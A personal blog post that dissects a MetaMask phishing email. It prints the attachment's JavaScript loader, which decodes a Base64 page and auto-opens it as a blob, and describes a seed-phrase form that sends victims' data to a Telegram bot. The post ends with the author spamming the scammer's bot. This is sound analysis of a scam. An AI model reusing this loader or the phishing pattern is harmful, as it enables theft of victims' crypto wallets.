A few days ago, I received a pretty credible-looking MetaMask scam email stating that my account had been locked due to an attempt to connect a new device to it. Too bad I don't even own a MetaMask account, but despite that, I decided to spend a bit of time and look into how the whole scam worked, as I rarely receive any kind of spam nowadays.
<palign="center">
<imgsrc="/images/metamask-scam-exploration/email.png"alt="Picture of the original email message"width="80%"/>
</p>
## Email attachment
The attached HTML file `RemovedDevice.html` contained a bare-bones HTML structure with a bit of JS and a long Base64 encoded string which the attached script would decode and use jQuery to attach it back to the website body.
```javascript
$(document).ready(function () {
saveFile()
})
function saveFile(name, type, data) {
if (data != null && navigator.msSaveBlob)
return navigator.msSaveBlob(new Blob([data], { type: type }), name)
var a = $("<astyle='display: none;'/>")
var encodedStringAtoB = "<base64-encoded-string>"
var decodedStringAtoB = atob(encodedStringAtoB)
const myBlob = new Blob([decodedStringAtoB], { type: "text/html" })
const url = window.URL.createObjectURL(myBlob)
a.attr("href", url)
$("body").append(a)
a[0].click()
window.URL.revokeObjectURL(url)
a.remove()
}
```
The resulting webpage would display 12/15/18/21/24 input fields for a crypto wallet seed phrases of various lengths.
The scammer was using Telegram as the backend, but didn't apparently care enough to even attempt to hide the API token and chat ID from the source with some obfuscation logic. Additionally it's also clear that the data was being exfiltrated into a private chat based on the chat ID format (private chats don't have a dash prefix, whereas supergroups and channels have a `-100` prefix).
Before sending the collected information to the Telegram chat, the JavaScript code would also make a quick `GET` request to `ipinfo.io` to get the victim's public IP and related location data. This information would probably be used to pick a proxy for the wallet draining stage of this scam without raising any unwanted suspicions on MetaMask's end.
```javascript
wordForm1.addEventListener("submit", (e) => {
e.preventDefault()
errbox.classList.add("hide")
let regex = /[!`@#$~%^&*()\-+={}[\]:;"'<>,.?\/|\\]/
let regex2 = /\d/
let pass = false
for (let i = 0; i <word12Input.length;i++){
if (regex.test(word12Input[i].value) || regex2.test(word12Input[i].value)) {
In the end I was able to send roughly 10k messages before the scammer revoked the API token. I hope he'll have a fun time trying to sort out the legitimate responses from the ones I sent.